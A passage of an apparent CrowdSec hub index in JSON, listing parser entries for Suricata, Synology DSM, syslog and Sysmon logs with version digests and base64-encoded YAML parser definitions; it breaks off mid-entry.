"IyMgU3VyaWNhdGEgbG9ncyBwYXJzZXIKClRoaXMgcGFyc2VyIHN1cHBvcnRzIGJvdGggZm9ybWF0cyA6CiAtIHRoZSBKU09OIGBldmUuanNvbmAgZm9ybWF0IChgdHlwZTogc3VyaWNhdGEtZXZlbG9nc2ApCiAtIHRoZSB0ZXh0IGBmYXN0LmxvZ2AgZm9ybWF0IChgdHlwZTogc3VyaWNhdGEtZmFzdGxvZ3NgKQoKVGhlIHBhcnNlciBvbmx5IHBhcnNlcyBsb2dzIHRoYXQgYXJlIGBhbGVydHNgLgo=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAnc3VyaWNhdGEtZmFzdGxvZ3MnIgpuYW1lOiBjcm93ZHNlY3VyaXR5L3N1cmljYXRhLWZhc3Rsb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2Ugc3VyaWNhdGEgZmFzdC5sb2ciCnBhdHRlcm5fc3ludGF4OgogIFNVUklDQVRBX01BUktFUjogJ1xbXCpcKlxdJwogIFNVUklDQVRBX0RBVEU6ICcle0RBVEVfVVM6ZGF0ZX0tJXtUSU1FOnRpbWV9JwogIFNVUklDQVRBX1JVTEVfSUQ6ICdcWyV7TlVNQkVSOnN1cmljYXRhX3J1bGVfc2V2ZXJpdHl9OiV7TlVNQkVSOnJ1bGVfaWR9OiV7TlVNQkVSOnN1cmljYXRhX2FsZXJ0X3NpZ25hdHVyZV9yZXZ9XF0nCmdyb2s6IAogIHBhdHRlcm46ICcle1NVUklDQVRBX0RBVEV9ICAle1NVUklDQVRBX01BUktFUn0gJXtTVVJJQ0FUQV9SVUxFX0lEfSAle0RBVEE6c3VyaWNhdGFfYWxlcnRfc2lnbmF0dXJlfSAle1NVUklDQVRBX01BUktFUn0gXFtDbGFzc2lmaWNhdGlvbjogJXtEQVRBOnN1cmljYXRhX2NsYXNzaWZpY2F0aW9ufVxdIFxbUHJpb3JpdHk6ICV7TlVNQkVSOnN1cmljYXRhX3ByaW9yaXR5fVxdIFx7JXtEQVRBOnByb3RvfVx9ICV7SVA6c291cmNlX2lwfTole05VTUJFUjpzb3VyY2VfcG9ydH0gXC0+ICV7SVA6ZGVzdF9pcH06JXtOVU1CRVI6ZGVzdF9wb3J0fScKICBhcHBseV9vbjogbWVzc2FnZQpzdGF0aWNzOgogIC0gbWV0YTogc2VydmljZQogICAgdmFsdWU6IHN1cmljYXRhCiAgLSBtZXRhOiBsb2dfdHlwZQogICAgdmFsdWU6IHN1cmljYXRhX2FsZXJ0CiAgLSBtZXRhOiBzdWJfbG9nX3R5cGUKICAgIHZhbHVlOiBzdXJpY2F0YV9hbGVydF9mYXN0X2xvZwogICAgICAjd2UgYnVpbGQgYmFjayBSRkMzMzM5IGZvcm1hdAogIC0gdGFyZ2V0OiBldnQuUGFyc2VkLnN1cmljYXRhX3RpbWVzdGFtcAogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5kYXRlICsgJyAnICsgZXZ0LlBhcnNlZC50aW1lCiAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLmRhdGUgKyAnICcgKyBldnQuUGFyc2VkLnRpbWUKICAtIG1ldGE6IHN1cmljYXRhX2FsZXJ0X3NpZ25hdHVyZV9pZAogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5ydWxlX2lkCiAgLSBtZXRhOiBzdXJpY2F0YV9ydWxlX3NldmVyaXR5CiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnN1cmljYXRhX3J1bGVfc2V2ZXJpdHkKICAtIG1ldGE6IHNvdXJjZV9pcAogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5zb3VyY2VfaXAKLS0tCm9uc3VjY2VzczogbmV4dF9zdGFnZQpmaWx0ZXI6IHwKICBldnQuUGFyc2VkLnByb2dyYW0gPT0gInN1cmljYXRhLWV2ZWxvZ3MiICYmIEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgImV2ZW50X3R5cGUiKSA9PSAiYWxlcnQiCm5hbWU6IGNyb3dkc2VjdXJpdHkvc3VyaWNhdGEtZXZlbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIHN1cmljYXRhIGV2ZS5qc29uIGxvZ3MiCnBhdHRlcm5fc3ludGF4OgogIFNVUklDQVRBX0VWRV9UUzogJyV7VElNRVNUQU1QX0lTTzg2MDE6dGltZX0nCm5vZGVzOgogIC0gZ3JvazoKICAgICAgcGF0dGVybjogJyV7U1VSSUNBVEFfRVZFX1RTOnRpbWV9KFwtfFwrKSV7SU5UfScKICAgICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAidGltZXN0YW1wIikKc3RhdGljczoKICAtIG1ldGE6IHNlcnZpY2UKICAgIHZhbHVlOiBzdXJpY2F0YQogIC0gbWV0YTogbG9nX3R5cGUKICAgIHZhbHVlOiBzdXJpY2F0YV9hbGVydAogIC0gbWV0YTogc3ViX2xvZ190eXBlCiAgICB2YWx1ZTogc3VyaWNhdGFfYWxlcnRfZXZlX2pzb24KICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZSArICdaJwogIC0gdGFyZ2V0OiBldnQuTWV0YS5zdXJpY2F0YV9mbG93X2lkCiAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJmbG93X2lkIikKICAtIHRhcmdldDogZXZ0Lk1ldGEuc291cmNlX2lwCiAgICBleHByZXNzaW9uOiBKc29uRXh0cmFjdChldnQuUGFyc2VkLm1lc3NhZ2UsICJzcmNfaXAiKQogIC0gdGFyZ2V0OiBldnQuUGFyc2VkLmRlc3RfaXAKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgImRlc3RfaXAiKQogIC0gdGFyZ2V0OiBldnQuUGFyc2VkLmRlc3RfcG9ydAogICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAiZGVzdF9wb3J0IikKICAtIHRhcmdldDogZXZ0LlBhcnNlZC5wcm90bwogICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAicHJvdG8iKQogIC0gdGFyZ2V0OiBldnQuTWV0YS5zdXJpY2F0YV9hbGVydF9zaWduYXR1cmVfaWQKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgImFsZXJ0LnNpZ25hdHVyZV9pZCIpCiAgLSB0YXJnZXQ6IGV2dC5QYXJzZWQuc3VyaWNhdGFfYWxlcnRfc2lnbmF0dXJlX3JldgogICAgZXhwcmVzc2lvbjogSnNvbkV4dHJhY3QoZXZ0LlBhcnNlZC5tZXNzYWdlLCAiYWxlcnQucmV2IikKICAtIHRhcmdldDogZXZ0LlBhcnNlZC5zdXJpY2F0YV9hbGVydF9zaWduYXR1cmUKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgImFsZXJ0LnNpZ25hdHVyZSIpCiAgLSB0YXJnZXQ6IGV2dC5NZXRhLnN1cmljYXRhX3J1bGVfc2V2ZXJpdHkKICAgIGV4cHJlc3Npb246IEpzb25FeHRyYWN0KGV2dC5QYXJzZWQubWVzc2FnZSwgImFsZXJ0LnNldmVyaXR5IikKCgo=", "description": "Parse suricata fast.log", "author": "crowdsecurity", "labels": null }, "crowdsecurity/synology-dsm-logs": { "path": "parsers/s01-parse/crowdsecurity/synology-dsm-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "d3ef07ad8fc314f8617c2e4dc852da0c887e6c9a9cd68dc8bafbd5e66673400b", "deprecated": false }, "0.2": { "digest": "8815fe3b21d0001fb2d42843e1d239e7cc6a763153162236c3c4155aef26a190", "deprecated": false } }, "long_description": "IyMgU3lub2xvZ3kgRFNNIHdlYiBhdXRoZW50aWNhdGlvbiBwYXJzZXIKCkEgcGFyc2VyIGZvciBTeW5vbG9neSBEU00gd2ViIGF1dGhlbnRpY2F0aW9uIChmYWlsZWQpIGxvZ3MuClRob3NlIGxvZ3MgYXJlIHVzdWFsbHkgcHJlc2VudCBpbiBgL3Zhci9sb2cvYXV0aC5sb2dgLgoK", "content": "IyBTeW5vbG9neSBEU00gYXV0aC5sb2cKI2RlYnVnOiB0cnVlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAnc3lub3NjZ2lfU1lOTy5BUEkuQXV0aF83X2xvZ2luJyIKbmFtZTogY3Jvd2RzZWN1cml0eS9zeW5vbG9neS1kc20tbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIFN5bm9sb2d5IERTTSB3ZWIgYXV0aCBsb2dzIgpvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKZm9ybWF0OiAyLjAKcGF0dGVybl9zeW50YXg6CiAgVElNRVNUQU1QOiAnJXtZRUFSfS0le01PTlRITlVNfS0le01PTlRIREFZfVQle0hPVVJ9OiV7TUlOVVRFfTole1NFQ09ORH0rJXtJU084NjAxX1RJTUVaT05FfScKIyBUaGUgSVAgZ3JvayBwYXR0ZXJuIHRoYXQgc2hpcHMgd2l0aCBjcm93ZHNlYyBpcyBidWdneSBhbmQgZG9lcyBub3QgY2FwdHVyZSB0aGUgbGFzdCBkaWdpdCBvZiBhbiBJUCBpZiBpdCBpcyB0aGUgbGFzdCB0aGluZyBpdCBtYXRjaGVzLCBhbmQgdGhlIGxhc3Qgb2N0ZXQgc3RhcnRzIHdpdGggYSAyCiMgaHR0cHM6Ly9naXRodWIuY29tL2Nyb3dkc2VjdXJpdHkvY3Jvd2RzZWMvaXNzdWVzLzkzOAogIElQdjRfV09SS0FST1VORDogJyg/Oig/OjI1WzAtNV18MlswLTRdWzAtOV18WzAxXT9bMC05XVswLTldPylcLil7M30oPzoyNVswLTVdfDJbMC00XVswLTldfFswMV0/WzAtOV1bMC05XT8pJwogIElQX1dPUktBUk9VTkQ6ICcoPzole0lQVjZ9fCV7SVB2NF9XT1JLQVJPVU5EfSknCiAgQVVUSF9MT0dfRkFJTDogJ3BhbV91bml4XCh3ZWJ1aTphdXRoXCk6IGF1dGhlbnRpY2F0aW9uIGZhaWx1cmU7IGxvZ25hbWU9IHVpZD0wIGV1aWQ9MCB0dHk9IHJ1c2VyPSByaG9zdD0le0lQX1dPUktBUk9VTkQ6c3JjX2lwfScKZ3JvazoKICBwYXR0ZXJuOiAiJXtBVVRIX0xPR19GQUlMfSIKICBhcHBseV9vbjogbWVzc2FnZQogIHN0YXRpY3M6CiAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgIHZhbHVlOiBzeW5vbG9neS1kc21fZmFpbGVkX2F1dGgKc3RhdGljczoKICAtIG1ldGE6IGxvZ190eXBlCiAgICB2YWx1ZTogc3lub2xvZ3ktZHNtX2ZhaWxlZF9hdXRoCiAgLSBtZXRhOiBzZXJ2aWNlCiAgICB2YWx1ZTogc3lub2xvZ3ktZHNtCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNyY19pcCIK", "description": "Parse Synology DSM web auth logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/syslog-logs": { "path": "parsers/s00-raw/crowdsecurity/syslog-logs.yaml", "stage": "s00-raw", "version": "0.8", "versions": { "0.1": { "digest": "44e8cfbf528dcd70c6cc329df1b963f6861668796c706cc79050b0907a85540e", "deprecated": false }, "0.2": { "digest": "a80dffe6371664eea6ad42af1d386a9447e25a5917f1f489959fcb34ce37f363", "deprecated": false }, "0.3": { "digest": "3a284fc04e777a9e8d7606f2fcc09e092ec2ae45103d249d30ebb6eda8fea65a", "deprecated": false }, "0.4": { "digest": "74898d3d78b329435253d376376290d57422919618b411e7b1c3c249ac6efecd", "deprecated": false }, "0.5": { "digest": "08fa391d35558900669e1b0d0f6b8373d32053d8138355785b6b07e830675ff7", "deprecated": false }, "0.6": { "digest": "9f4da801bd0c193d4e24b56c465e081a7df8c17cd8b4340b1d4950c8220196f2", "deprecated": false }, "0.7": { "digest": "8d15b6ab76aea4f785a05f31ba84a92e96c1cd3a2644e7a63d98feebd16e1995", "deprecated": false }, "0.8": { "digest": "d637382a9f927a4d8101cfc8d42b39cd83d1327e074cc5c48c0a8827fedec6d5", "deprecated": false } }, "long_description": "IyBTeXNsb2cgcGFyc2VyCgpUaGlzIGlzIGEgZ2VuZXJpYyBsaW51eCBzeXNsb2cgcGFyc2VyIHdpdGggdGltZS1zdXBwb3J0LgpBZGQgYGRhdGFzb3VyY2VfdHlwZWAgYW5kIGBkYXRhc291cmNlX3BhdGhgIHNvdXJjZSBhbmQgZGF0YXNvdXJjZSB0eXBlIGluIHRoZSBgTWV0YWDCoG9iamVjdC4K", "content": "I0lmIGl0J3Mgc3lzbG9nLCB3ZSBhcmUgZ29pbmcgdG8gZXh0cmFjdCBwcm9nbmFtZSBmcm9tIGl0CmZpbHRlcjogImV2dC5MaW5lLkxhYmVscy50eXBlID09ICdzeXNsb2cnIgpvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKcGF0dGVybl9zeW50YXg6CiAgUkFXX1NZU0xPR19QUkVGSVg6ICdePCV7TlVNQkVSOnN0dWZmMX0+JXtOVU1CRVI6c3R1ZmYyfSAle1NZU0xPR0JBU0UyfSAle0RBVEE6cHJvZ3JhbX0gJXtOVU1CRVI6cGlkfScKICBSQVdfU1lTTE9HX01FVEE6ICdcW21ldGEgc2VxdWVuY2VJZD0iJXtOT1REUVVPVEU6c2VxX2lkfSJcXScKbmFtZTogY3Jvd2RzZWN1cml0eS9zeXNsb2ctbG9ncwpub2RlczoKICAtIGdyb2s6CiAgICAgICN0aGlzIGlzIGEgbmFtZWQgcmVndWxhciBleHByZXNzaW9uLiBncm9rIHBhdHRlcm5zIGNhbiBiZSBrZXB0IGludG8gc2VwYXJhdGUgZmlsZXMgZm9yIHJlYWRhYmlsaXR5CiAgICAgIHBhdHRlcm46ICJeJXtTWVNMT0dMSU5FfSIgCiAgICAgICNUaGlzIGlzIHRoZSBmaWVsZCBvZiB0aGUgYEV2ZW50YCB0byB3aGljaCB0aGUgcmVnZXhwIHNob3VsZCBiZSBhcHBsaWVkCiAgICAgIGFwcGx5X29uOiBMaW5lLlJhdwogIC0gZ3JvazoKICAgICAgI2Egc2Vjb25kIHBhdHRlcm4gZm9yIHVucGFyc2VkIHN5c2xvZyBsaW5lcywgYXMgc2F3IGluIG9wbnNlbnNlCiAgICAgIHBhdHRlcm46ICcle1JBV19TWVNMT0dfUFJFRklYfSAtICV7UkFXX1NZU0xPR19NRVRBfSAle0dSRUVEWURBVEE6bWVzc2FnZX0nCiAgICAgIGFwcGx5X29uOiBMaW5lLlJhdwojaWYgdGhlIG5vZGUgd2FzIHN1Y2Nlc3NmdWxsLCBzdGF0aWNzIHdpbGwgYmUgYXBwbGllZC4Kc3RhdGljczoKICAtIG1ldGE6IG1hY2hpbmUKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQubG9nc291cmNlCiAgLSBwYXJzZWQ6ICJsb2dzb3VyY2UiCiAgICB2YWx1ZTogInN5c2xvZyIKIyBzeXNsb2cgZGF0ZSBjYW4gYmUgaW4gdHdvIGRpZmZlcmVudCBmaWVsZHMgKG9uZSBvZiBodGUgYXNzaWdubWVudCB3aWxsIGZhaWwpCiAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRpbWVzdGFtcAogIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aW1lc3RhbXA4NjAxCiAgLSBtZXRhOiBkYXRhc291cmNlX3BhdGgKICAgIGV4cHJlc3Npb246IGV2dC5MaW5lLlNyYwogIC0gbWV0YTogZGF0YXNvdXJjZV90eXBlCiAgICBleHByZXNzaW9uOiBldnQuTGluZS5Nb2R1bGUKLS0tCiNpZiBpdCdzIG5vdCBzeXNsb2csIHRoZSB0eXBlIGlzIHRoZSBwcm9nbmFtZQpmaWx0ZXI6ICJldnQuTGluZS5MYWJlbHMudHlwZSAhPSAnc3lzbG9nJyIKb25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGNyb3dkc2VjdXJpdHkvbm9uLXN5c2xvZwojZGVidWc6IHRydWUKc3RhdGljczoKICAtIHBhcnNlZDogbWVzc2FnZQogICAgZXhwcmVzc2lvbjogZXZ0LkxpbmUuUmF3CiAgLSBwYXJzZWQ6IHByb2dyYW0KICAgIGV4cHJlc3Npb246IGV2dC5MaW5lLkxhYmVscy50eXBlCiAgLSBtZXRhOiBkYXRhc291cmNlX3BhdGgKICAgIGV4cHJlc3Npb246IGV2dC5MaW5lLlNyYwogIC0gbWV0YTogZGF0YXNvdXJjZV90eXBlCiAgICBleHByZXNzaW9uOiBldnQuTGluZS5Nb2R1bGUKCg==", "author": "crowdsecurity", "labels": null }, "crowdsecurity/sysmon-logs": { "path": "parsers/s01-parse/crowdsecurity/sysmon-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "6a349cea36ce2cb571d545767c4eab9279179ef7d26f01644e2b746ea68638f1", "deprecated": false } }, "long_description": "QSBwYXJzZXIgZm9yIFtzeXNtb25dKGh0dHBzOi8vZG9jcy5taWNyb3NvZnQuY29tL2VuLXVzL3N5c2ludGVybmFscy9kb3dubG9hZHMvc3lzbW9uKSBldmVudHM=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQuQ2hhbm5lbCA9PSAnTWljcm9zb2Z0LVdpbmRvd3MtU3lzbW9uL09wZXJhdGlvbmFsJyIKbmFtZTogY3Jvd2RzZWN1cml0eS9zeXNtb24KZGVzY3JpcHRpb246ICJQYXJzZSBzeXNtb24gZXZlbnRzIgpub2RlczoKICAtIGZpbHRlcjogZXZ0LlBhcnNlZC5FdmVudElEID09ICcxJwogICAgc3RhdGljczoKICAgICAgLSBwYXJzZWQ6IFByb2Nlc3NHdWlkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1Byb2Nlc3NHdWlkJ10iKQogICAgICAtIHBhcnNlZDogSW1hZ2UKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nSW1hZ2UnXSIpCiAgICAgIC0gcGFyc2VkOiBQcm9jZXNzSWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUHJvY2Vzc0lkJ10iKQogICAgICAtIHBhcnNlZDogRmlsZVZlcnNpb24KICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nRmlsZVZlcnNpb24nXSIpCiAgICAgIC0gcGFyc2VkOiBEZXNjcmlwdGlvbgogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdEZXNjcmlwdGlvbiddIikKICAgICAgLSBwYXJzZWQ6IENvbXBhbnkKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nQ29tcGFueSddIikKICAgICAgLSBwYXJzZWQ6IE9yaWdpbmFsRmlsZU5hbWUKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nT3JpZ2luYWxGaWxlTmFtZSddIikKICAgICAgLSBwYXJzZWQ6IENvbW1hbmRMaW5lCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0NvbW1hbmRMaW5lJ10iKQogICAgICAtIHBhcnNlZDogQ3VycmVudERpcmVjdG9yeQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdDdXJyZW50RGlyZWN0b3J5J10iKQogICAgICAtIHBhcnNlZDogVXNlcgogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdVc2VyJ10iKQogICAgICAtIHBhcnNlZDogTG9nb25HdWlkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0xvZ29uR3VpZCddIikKICAgICAgLSBwYXJzZWQ6IExvZ29uSWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nTG9nb25JZCddIikKICAgICAgLSBwYXJzZWQ6IFRlcm1pbmFsU2Vzc2lvbklkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1Rlcm1pbmFsU2Vzc2lvbklkJ10iKQogICAgICAtIHBhcnNlZDogSW50ZWdyaXR5TGV2ZWwKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nSW50ZWdyaXR5TGV2ZWwnXSIpCiAgICAgIC0gcGFyc2VkOiBIYXNoZXMKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nSGFzaGVzJ10iKQogICAgICAtIHBhcnNlZDogUGFyZW50UHJvY2Vzc0d1aWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUGFyZW50UHJvY2Vzc0d1aWQnXSIpCiAgICAgIC0gcGFyc2VkOiBQYXJlbnRQcm9jZXNzSWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUGFyZW50UHJvY2Vzc0lkJ10iKQogICAgICAtIHBhcnNlZDogUGFyZW50SW1hZ2UKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUGFyZW50SW1hZ2UnXSIpCiAgICAgIC0gcGFyc2VkOiBQYXJlbnRDb21tYW5kTGluZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdQYXJlbnRDb21tYW5kTGluZSddIikKICAgICAgLSBwYXJzZWQ6IFBhcmVudFVzZXIKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUGFyZW50VXNlciddIikKICAgICAgLSBtZXRhOiBTeXNtb25FdmVudFR5cGUKICAgICAgICB2YWx1ZTogUHJvY2Vzc0NyZWF0aW9uCiAgLSBmaWx0ZXI6IGV2dC5QYXJzZWQuRXZlbnRJRCA9PSAnMicKICAgIHN0YXRpY3M6CiAgICAgIC0gcGFyc2VkOiBQcm9jZXNzR3VpZAogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdQcm9jZXNzR3VpZCddIikKICAgICAgLSBwYXJzZWQ6IEltYWdlCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0ltYWdlJ10iKQogICAgICAtIHBhcnNlZDogUHJvY2Vzc0lkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1Byb2Nlc3NJZCddIikKICAgICAgLSBwYXJzZWQ6IFRhcmdldEZpbGVuYW1lCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1RhcmdldEZpbGVuYW1lJ10iKQogICAgICAtIHBhcnNlZDogQ3JlYXRpb25VdGNUaW1lCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J0NyZWF0aW9uVXRjVGltZSddIikKICAgICAgLSBwYXJzZWQ6IENyZWF0aW9uVXRjVGltZQogICAgICAgIGV4cHJlc3Npb246ICBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdDcmVhdGlvblV0Y1RpbWUnXSIpCiAgICAgIC0gbWV0YTogU3lzbW9uRXZlbnRUeXBlCiAgICAgICAgdmFsdWU6IENyZWF0aW9uVGltZUNoYW5nZWQKICAtIGZpbHRlcjogZXZ0LlBhcnNlZC5FdmVudElEID09ICczJwogICAgc3RhdGljczoKICAgICAgLSBwYXJzZWQ6IFByb2Nlc3NHdWlkCiAgICAgICAgZXhwcmVzc2lvbjogIFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1Byb2Nlc3NHdWlkJ10iKQogICAgICAtIHBhcnNlZDogSW1hZ2UKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nSW1hZ2UnXSIpCiAgICAgIC0gcGFyc2VkOiBQcm9jZXNzSWQKICAgICAgICBleHByZXNzaW9uOiAgWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nUHJvY2Vzc0lkJ10iKQogICAgICAtIHBhcnNlZDogVXNlcgogICAgICAgIGV4cHJlc3Npb246IFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1VzZXInXSIpCiAgICAgIC0gcGFyc2VkOiBQcm90b2NvbAogICAgICAgIGV4cHJlc3Npb246IFhNTEdldE5vZGVWYWx1ZShldnQuTGluZS5SYXcsICIvRXZlbnQvRXZlbnREYXRhWzFdL0RhdGFbQE5hbWU9J1Byb3RvY29sJ10iKQogICAgICAtIHBhcnNlZDogSW5pdGlhdGVkCiAgICAgICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nSW5pdGlhdGVkJ10iKQogICAgICAtIHBhcnNlZDogU291cmNlSXNJcHY2CiAgICAgICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbHVlKGV2dC5MaW5lLlJhdywgIi9FdmVudC9FdmVudERhdGFbMV0vRGF0YVtATmFtZT0nU291cmNlSXNJcHY2J10iKQogICAgICAtIHBhcnNlZDogU291cmNlSXAKICAgICAgICBleHByZXNzaW9uOiBYTUxHZXROb2RlVmFsdWUoZXZ0LkxpbmUuUmF3LCAiL0V2ZW50L0V2ZW50RGF0YVsxXS9EYXRhW0BOYW1lPSdTb3VyY2VJcCddIikKICAgICAgLSBwYXJzZWQ6IFNvdXJjZUhvc3RuYW1lCiAgICAgICAgZXhwcmVzc2lvbjogWE1MR2V0Tm9kZVZhbH